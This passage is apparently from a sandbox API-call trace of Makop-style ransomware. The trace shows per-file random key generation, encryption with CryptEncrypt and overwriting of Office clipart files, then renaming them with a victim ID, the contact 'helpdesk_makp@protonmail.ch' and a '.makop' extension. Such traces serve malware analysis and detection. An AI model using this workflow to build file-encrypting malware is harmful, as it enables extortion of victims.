(in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.643] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.643] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.643] GetProcessHeap () returned 0x48a0000 [0121.643] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.643] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.643] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.644] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.648] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.648] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.648] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.649] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.649] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.649] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.649] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.649] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.649] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1f40, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1f40, lpOverlapped=0x0) returned 1 [0121.651] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f40, dwBufLen=0x1f40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1f40) returned 1 [0121.651] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.651] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1f40, lpOverlapped=0x0) returned 1 [0121.651] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.651] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2014, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.651] SetEndOfFile (hFile=0xf0) returned 1 [0121.658] GetProcessHeap () returned 0x48a0000 [0121.658] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.658] GetProcessHeap () returned 0x48a0000 [0121.658] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.658] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.658] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.659] CloseHandle (hObject=0xf0) returned 1 [0121.659] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4054, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107490.WMF", cAlternateFileName="")) returned 1 [0121.659] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0121.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.660] GetProcessHeap () returned 0x48a0000 [0121.660] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.660] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.660] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.660] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0121.664] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.664] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.664] GetProcessHeap () returned 0x48a0000 [0121.664] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.664] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.664] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.664] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.665] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.665] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.665] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.665] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.666] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.666] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.666] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.666] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.666] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4054, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4054, lpOverlapped=0x0) returned 1 [0121.668] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4060, dwBufLen=0x4060 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4060) returned 1 [0121.668] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.668] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4060, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4060, lpOverlapped=0x0) returned 1 [0121.668] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.669] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4134, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.669] SetEndOfFile (hFile=0xf0) returned 1 [0121.675] GetProcessHeap () returned 0x48a0000 [0121.675] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.675] GetProcessHeap () returned 0x48a0000 [0121.675] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.676] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.676] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.677] CloseHandle (hObject=0xf0) returned 1 [0121.677] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1acc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107492.WMF", cAlternateFileName="")) returned 1 [0121.677] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0121.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.679] GetProcessHeap () returned 0x48a0000 [0121.679] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.679] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.679] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.679] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.683] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.683] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.683] GetProcessHeap () returned 0x48a0000 [0121.683] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.683] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.683] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.683] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.683] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.683] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.684] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.684] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.684] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.684] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.684] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.684] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.684] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1acc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1acc, lpOverlapped=0x0) returned 1 [0121.686] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ad0, dwBufLen=0x1ad0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ad0) returned 1 [0121.686] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.686] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1ad0, lpOverlapped=0x0) returned 1 [0121.686] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.686] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1ba4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.686] SetEndOfFile (hFile=0xf0) returned 1 [0121.693] GetProcessHeap () returned 0x48a0000 [0121.693] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.693] GetProcessHeap () returned 0x48a0000 [0121.694] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.694] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.694] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.697] CloseHandle (hObject=0xf0) returned 1 [0121.697] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1918, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107494.WMF", cAlternateFileName="")) returned 1 [0121.697] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF") returned 63 [0121.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0121.697] GetProcessHeap () returned 0x48a0000 [0121.698] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0121.698] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0121.698] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0121.698] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.701] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.702] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.702] GetProcessHeap () returned 0x48a0000 [0121.702] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0121.702] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0121.702] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.702] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0121.702] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0121.702] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0121.702] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0121.702] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0121.703] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0121.703] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0121.703] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0121.703] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.703] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1918, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1918, lpOverlapped=0x0) returned 1 [0121.704] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1920, dwBufLen=0x1920 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1920) returned 1 [0121.704] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.704] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1920, lpOverlapped=0x0) returned 1 [0121.705] CryptDestroyKey (hKey=0x48c7128) returned 1 [0121.705] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x19f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.705] SetEndOfFile (hFile=0xf0) returned 1 [0121.711] GetProcessHeap () returned 0x48a0000 [0121.711] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0121.711] GetProcessHeap () returned 0x48a0000 [0121.711] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0121.711] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0121.711] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107494.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107494.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0121.712] CloseHandle (hObject=0xf0) returned 1 [0121.712] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107496.WMF", cAlternateFileName="")) returned 1 [0121.712] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0121.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, 